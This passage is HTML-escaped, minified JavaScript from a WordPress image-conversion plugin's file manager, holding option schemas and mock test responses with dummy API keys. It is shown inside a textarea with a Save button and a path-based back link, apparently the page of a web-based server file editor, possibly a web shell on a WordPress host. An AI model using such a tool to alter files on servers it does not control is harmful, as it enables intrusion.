conversion.&quot;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}}],wpc:[{id:&quot;wpc-api-key&quot;,schema:{title:&quot;API key&quot;,description:&quot;&quot;,type:[&quot;string&quot;],default:&quot;&quot;},ui:{component:&quot;password&quot;,advanced:!1,display:&quot;option(&#039;wpc-api-version&#039;) != 0&quot;},sensitive:!0},{id:&quot;wpc-secret&quot;,schema:{title:&quot;Secret&quot;,description:&quot;&quot;,type:[&quot;string&quot;],default:&quot;&quot;},ui:{component:&quot;password&quot;,advanced:!1,display:&quot;option(&#039;wpc-api-version&#039;) == 0&quot;},sensitive:!0},{id:&quot;wpc-api-url&quot;,schema:{title:&quot;API url&quot;,description:&quot;URL to connect to&quot;,type:[&quot;string&quot;],default:&quot;&quot;},ui:{component:&quot;password&quot;,advanced:!1},sensitive:!0},{id:&quot;wpc-api-version&quot;,schema:{title:&quot;API version&quot;,description:&quot;&quot;,type:[&quot;integer&quot;],default:2,minimum:0,maximum:2},ui:{component:&quot;select&quot;,advanced:!1,options:[&quot;0&quot;,&quot;1&quot;,&quot;2&quot;]}},{id:&quot;wpc-crypt-api-key-in-transfer&quot;,schema:{title:&quot;Crypt API key in transfer&quot;,description:&quot;&quot;,type:[&quot;boolean&quot;],default:!1},ui:{component:&quot;checkbox&quot;,advanced:!0,display:&quot;option(&#039;wpc-api-version&#039;) &gt;= 1&quot;}}],ffmpeg:[{id:&quot;ffmpeg-use-nice&quot;,schema:{title:&quot;Use nice&quot;,description:&quot;If *use-nice* is set, it will be examined if the *nice* command is available. If it is, the binary is executed using *nice*. This assigns low priority to the process and will save system resources - but result in slower conversion.&quot;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}}],ewww:[{id:&quot;ewww-api-key&quot;,schema:{title:&quot;Ewww API key&quot;,description:&#039;ewww API key. If you choose &quot;auto&quot;, webp-convert will convert to both lossy and lossless and pick the smallest result&#039;,type:[&quot;string&quot;],default:&quot;&quot;},ui:{component:&quot;password&quot;},sensitive:!0},{id:&quot;ewww-check-key-status-before-converting&quot;,schema:{title:&quot;Check key status before converting&quot;,description:&quot;If enabled, the api key will be validated (relative inexpensive) before trying to convert. For automatic conversions, you should enable it. Otherwise you run the risk that the same files will be uploaded to ewww cloud service over and over again, in case the key has expired. For manually triggered conversions, you can safely disable the option.&quot;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;}}],gd:[],stack:[{id:&quot;stack-converters&quot;,schema:{title:&quot;Converters&quot;,description:&quot;Converters to try, ordered by priority.&quot;,sensitive:!0,type:[&quot;array&quot;],default:[&quot;cwebp&quot;,&quot;vips&quot;,&quot;imagick&quot;,&quot;gmagick&quot;,&quot;imagemagick&quot;,&quot;graphicsmagick&quot;,&quot;wpc&quot;,&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;]},ui:{component:&quot;multi-select&quot;,options:[&quot;cwebp&quot;,&quot;vips&quot;,&quot;imagick&quot;,&quot;gmagick&quot;,&quot;imagemagick&quot;,&quot;graphicsmagick&quot;,&quot;wpc&quot;,&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;],advanced:!0},sensitive:!0},{id:&quot;stack-shuffle&quot;,schema:{title:&quot;Shuffle&quot;,description:&quot;Shuffles the converter order on each conversion. Can for example be used to spread out requests on multiple cloud converters&quot;,type:[&quot;boolean&quot;],default:!1},ui:{component:&quot;checkbox&quot;,advanced:!0}}]}};const E=ge(vi);E.use(te);E.use(ve,{defaultHtml:!1});window.wcfmoptions||(window.wcfmoptions={},window.wcfmoptions.poster=function(t,e,o,l){switch(t){case&quot;get-folder&quot;:switch(e.path){case&quot;&quot;:var i={children:[{name:&quot;/&quot;,isDir:!0,nickname:&quot;root&quot;}]};break;case&quot;/&quot;:var i={children:[{name:&quot;empty-folder&quot;,isDir:!0,isEmpty:!0},{name:&quot;file&quot;,isDir:!1,isConverted:!0},{name:&quot;aaa&quot;,isDir:!1,isConverted:!0},{name:&quot;test-folder&quot;,isDir:!0},{name:&quot;file2&quot;,isDir:!1,isConverted:!1}]};break;case&quot;/empty-folder&quot;:var i={children:[]};break;case&quot;/test-folder&quot;:var i={children:[{name:&quot;banana&quot;,isDir:!1},{name:&quot;subfolder&quot;,isDir:!0},{name:&quot;apple&quot;,isDir:!1}]};break;case&quot;/test-folder/subfolder&quot;:var i={children:[{name:&quot;file2&quot;,isDir:!1},{name:&quot;file1&quot;,isDir:!1}]};break;default:l();return}break;case&quot;conversion-settings&quot;:var i={options:yi,defaults:{quality:17,&quot;ewww-api-key&quot;:&quot;apilapi&quot;,&quot;wpc-api-key&quot;:&quot;bogulogu&quot;,png:{encoding:&quot;lossless&quot;,quality:90},converter:&quot;vips&quot;},systemStatus:{converterRequirements:{gd:{extensionLoaded:!1,compiledWithWebP:!0}}}};break;case&quot;info&quot;:if(e.path==&quot;/file2&quot;)var i={original:{size:100,url:&quot;http://localhost:3000/src/assets/200x100.jpg&quot;,mime2:&quot;image/jpeg&quot;},converted:{size:70,url:&quot;http://localhost:3000/src/assets/200x100.jpg&quot;,mime:&quot;image/webp&quot;},log:`blah blah blah
\rand *more* blah`};else if(e.path==&quot;/file&quot;)var i={original:{size:100,url:&quot;http://localhost:3000/src/assets/dummy2.jpg&quot;,mime:&quot;image/jpeg&quot;},log:&quot;blah blah *blah*&quot;};else var i={original:{size:100,url:&quot;http://localhost:3000/src/assets/dummy.jpg&quot;,mime:&quot;image/jpeg&quot;},converted:{size:70,url:&quot;http://localhost:3000/src/assets/dummy.jpg&quot;,mime:&quot;image/webp&quot;},log:&quot;blah blah *blah*&quot;};break;case&quot;convert&quot;:if(e.path==&quot;/file2&quot;)var i={success:!1,data:&quot;We pretend file2 errors converting...&quot;,log:&quot;Oh no!&quot;};else var i={success:!0,converted:{size:26050,url:&quot;http://we0/wordpress/wp-content/uploads/2021/10/Screenshot_2021-10-04_13-43-11.png.webp&quot;,mime:&quot;image/webp&quot;},log:`All is *groovy*
next line`};break;case&quot;delete-converted&quot;:if(e.path==&quot;/file2&quot;)var i={success:!1,data:&quot;We pretend file2 errors deleting...&quot;};else var i={success:!0};break;default:var i=&quot;ok&quot;;break}o(i)});E.mount(&quot;#webpconvert-filemanager&quot;);
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwebp-express%2Flib%2Fwcfm'>🔙 Back</a></p>